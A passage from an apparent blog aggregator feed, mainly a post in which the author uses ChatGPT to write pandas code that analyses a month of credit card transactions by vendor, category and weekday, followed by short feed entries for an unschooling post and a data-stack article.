<span class="giallo-l"><span>credit_entries</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> df</span><span>[</span><span>df</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Amount (INR)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span>]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Count the total number of debit and credit entries</span></span>
<span class="giallo-l"><span>total_debit_entries</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> len</span><span>(</span><span>debit_entries</span><span>)</span></span>
<span class="giallo-l"><span>total_credit_entries</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> len</span><span>(</span><span>credit_entries</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Calculate the total amount of debits and credits</span></span>
<span class="giallo-l"><span>total_debit_amount</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> debit_entries</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Amount (INR)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>.</span><span>sum</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>total_credit_amount</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> credit_entries</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Amount (INR)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>.</span><span>sum</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Find the vendor with the most spending</span></span>
<span class="giallo-l"><span>most_spent_vendor</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> debit_entries</span><span>.</span><span>groupby</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Details</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Amount (INR)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>.</span><span>sum</span><span>(</span><span>)</span><span>.</span><span>idxmin</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Calculate the total amount spent on SWIGGY</span></span>
<span class="giallo-l"><span>swiggy_spending</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> debit_entries</span><span>[</span><span>debit_entries</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Details</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>.</span><span>str</span><span>.</span><span>contains</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">SWIGGY</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> case</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">False</span><span>)</span><span>]</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Amount (INR)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>.</span><span>sum</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Calculate the total amount spent on AMAZON RECHARGES</span></span>
<span class="giallo-l"><span>amazon_recharges_spending</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> debit_entries</span><span>[</span><span>debit_entries</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Details</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>.</span><span>str</span><span>.</span><span>contains</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">AMAZON RECHARGES</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> case</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">False</span><span>)</span><span>]</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Amount (INR)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>.</span><span>sum</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Print the results</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Total debit entries: </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>total_debit_entries</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Total credit entries: </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>total_credit_entries</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Total debit amount: </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>total_debit_amount</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Total credit amount: </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>total_credit_amount</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Vendor with the most spending: </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>most_spent_vendor</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Total amount spent on SWIGGY: </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>swiggy_spending</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span></code></pre>
<p>At this point, I know that this will fail because we’ve not cleaned up the data. The column <code>Amount (INR)</code> needs cleaning up. I prompted ChatGPT to write a function to clean this column:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>The amount column as `21,620.54 Dr.` to represent that Rs 21,620.54 is debited. And `73,500.00 Cr.` to represent that Rs 73,500.00 is credited. Can you write a function to apply this transformation on the `Amount (INR)` column?</span></span></code></pre>
<p>It responded with:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Clean up the data</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> clean_amount</span><span>(</span><span>value</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    if</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);"> Cr.</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span> value</span><span>:</span></span>
<span class="giallo-l"><span>        value</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> value</span><span>.</span><span>replace</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);"> Cr.</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span><span style="color: light-dark(#D73A49, #F47067);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">float</span><span>(</span><span>value</span><span>.</span><span>replace</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    elif</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);"> Dr.</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span> value</span><span>:</span></span>
<span class="giallo-l"><span>        value</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> value</span><span>.</span><span>replace</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);"> Dr.</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span><span style="color: light-dark(#005CC5, #6CB6FF);"> float</span><span>(</span><span>value</span><span>.</span><span>replace</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>df</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Amount (INR)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> df</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Amount (INR)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>.</span><span>apply</span><span>(</span><span>clean_amount</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Now proceed with the analysis code</span></span>
<span class="giallo-l"></span></code></pre>
<p>Perfect! After transforming the amounts, I ran the analysis code:</p>
<p><img src="https://mrkaran.dev/images/analyzing-credit-card-transactions-2.png" alt="" /></p>
<p>The next prompt I gave was to analyse the spending in various categories.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>In the above CSV file can you guess the categories of each merchant based on the `Details`? And write the code for grouping the spends on various categories. If you&#39;re unable to figure out the category for the transaction, you can use a &quot;Misc&quot; column to bucket them.</span></span></code></pre>
<p>It actually did an okayish job at this and ignored a lot of vendors which I think it could have guessed easily:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> categorize</span><span>(</span><span>details</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span>    details</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> details</span><span>.</span><span>lower</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    if</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">swiggy</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span> details</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Food Delivery</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    elif</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">amazon recharges</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span> details</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Recharge</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    elif</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">uber</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span> details</span><span style="color: light-dark(#D73A49, #F47067);"> or</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">ola</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span> details</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Cab</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    elif</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">zomato</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span> details</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Food Delivery</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    elif</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">netflix</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span> details</span><span style="color: light-dark(#D73A49, #F47067);"> or</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">prime video</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span> details</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Streaming</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    else</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Misc</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Create a new column called &quot;Category&quot; by applying the categorize function to the &quot;Details&quot; column</span></span>
<span class="giallo-l"><span>df</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Category</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> df</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Details</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>.</span><span>apply</span><span>(</span><span>categorize</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Group the transactions by category and calculate the total amount spent in each category</span></span>
<span class="giallo-l"><span>grouped</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> df</span><span>[</span><span>df</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Amount (INR)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span>]</span><span>.</span><span>groupby</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Category</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Amount (INR)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>.</span><span>sum</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">print</span><span>(</span><span>grouped</span><span>)</span></span></code></pre>
<p>I decided to give some manual inputs to it to refine the function.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>I can help you with categorising it further.</span></span>
<span class="giallo-l"><span>`Blink` -  Grocery</span></span>
<span class="giallo-l"><span>`Indigo` - Travel</span></span>
<span class="giallo-l"><span>`PEGS` - Alcohol</span></span>
<span class="giallo-l"><span>`Nike` - Shopping</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>Also note that the cateorgy name matching should be case-insensitive.</span></span></code></pre>
<p>And it modified the Python snippet to add these rules.</p>
<p><img src="https://mrkaran.dev/images/analyzing-credit-card-transactions-3.png" alt="" /></p>
<p>Mixed reactions looking at this. Happy that I could practically get exactly the result I had in mind in just 10 minutes without writing any code. Sad because damn I need to limit those empty calories from next month (famous last words).</p>
<p>Next, I wanted to see if my spends on weekends are higher or not. (I don’t expect them to be, but you never know).</p>
<p>Prompt:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>Can you also write the code to figure how much spends I&#39;ve done grouped by the day of week?</span></span></code></pre>
<p>Response:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Convert the &#39;Transaction Date&#39; column to a datetime format</span></span>
<span class="giallo-l"><span>df</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">Transaction Date</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> pd</span><span>.</span><span>to_datetime</span><span>(</span><span>df</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">Transaction Date</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>]</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Create a new column called &quot;Day of Week&quot; containing the day of the week for each transaction</span></span>
<span class="giallo-l"><span>df</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">Day of Week</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> df</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">Transaction Date</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>]</span><span>.</span><span>dt</span><span>.</span><span>day_name</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Group the transactions by the &quot;Day of Week&quot; and calculate the total amount spent on each day of the week</span></span>
<span class="giallo-l"><span>grouped_by_day</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> df</span><span>[</span><span>df</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Amount (INR)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span>]</span><span>.</span><span>groupby</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">Day of Week</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">Amount (INR)</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>]</span><span>.</span><span>sum</span><span>(</span><span>)</span><span>.</span><span>abs</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Sort the grouped data by the total amount spent in descending order</span></span>
<span class="giallo-l"><span>sorted_grouped_by_day</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> grouped_by_day</span><span>.</span><span>sort_values</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">ascending</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">False</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">print</span><span>(</span><span>sorted_grouped_by_day</span><span>)</span></span></code></pre>
<p><img src="https://mrkaran.dev/images/analyzing-credit-card-transactions-4.png" alt="" /></p>
<hr />
<p>It was a fun 10-15 min exercise to figure out my spending habits based on the last month’s statement. I intend to do this for the next couple of months and then it would make sense to write more queries which would show trend-lines of spends in various categories over time.</p>
<p>Honestly, I just loved how ChatGPT made this task so seemingly simple. It’s not that I can’t myself write the code for these kind of simple analysis. It’s the sheer power at your hand to go from ideation phase to answer within seconds. And I think that’s why I love it so much. I didn’t have to go through Pandas docs (because I don’t use that in my day job so it’s quite normal to not know various syntax/functions that I could use) and I’d grok through different StackOverflow questions to achieve what I wanted to. And maybe imagining all this resistance on a Sunday morning would have meant that I never got to write the script in the first place.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[“You should know this stuff by now!”]]></title>
            <link>https://www.prashanthudupa.com/you-should-know-this-stuff-by-now/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/you-should-know-this-stuff-by-now/</guid>
            <pubDate>Mon, 24 Apr 2023 08:06:00 GMT</pubDate>
            <description><![CDATA[I catch myself thinking and sometimes telling to my 10 year old: “Advay, you are supposed to know this stuff by now already!! ?” It comes up when he makes basic spelling mistakes, or when uses gone instead of went...]]></description>
            <content:encoded><![CDATA[I catch myself thinking and sometimes telling to my 10 year old: &#8220;Advay, you are supposed to know this stuff by now already!! ?&#8221; It comes up when he makes basic spelling mistakes, or when uses gone instead of went...]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Moments</category>
            <category>Unschooling</category>
        </item>
        <item>
            <title><![CDATA[Measure What Matters! Our Simple Data Stack To Understand Open Source Adoption]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/measure-what-matters-our-simple-data</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/measure-what-matters-our-simple-data</guid>
            <pubDate>Tue, 18 Apr 2023 16:05:53 GMT</pubDate>
            <description><![CDATA[Is it a Modern Data Stack? Surely! Minimalist? Of course!]]></description>
            <content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://images.unsplash.com/photo-1434626881859-194d67b2b86f?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw2fHxtb2Rlcm4lMjBkYXRhJTIwc3RhY2t8ZW58MHx8fHwxNjgxODI0MDYz&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://images.unsplash.com/photo-1434626881859-194d67b2b86f?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw2fHxtb2Rlcm4lMjBkYXRhJTIwc3RhY2t8ZW58MHx8fHwxNjgxODI0MDYz&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 424w, https://images.unsplash.com/photo-1434626881859-194d67b2b86f?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw2fHxtb2Rlcm4lMjBkYXRhJTIwc3RhY2t8ZW58MHx8fHwxNjgxODI0MDYz&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 848w, https://images.unsplash.com/photo-1434626881859-194d67b2b86f?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw2fHxtb2Rlcm4lMjBkYXRhJTIwc3RhY2t8ZW58MHx8fHwxNjgxODI0MDYz&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1272w, https://images.unsplash.com/photo-1434626881859-194d67b2b86f?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw2fHxtb2Rlcm4lMjBkYXRhJTIwc3RhY2t8ZW58MHx8fHwxNjgxODI0MDYz&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1456w" sizes="100vw"><img 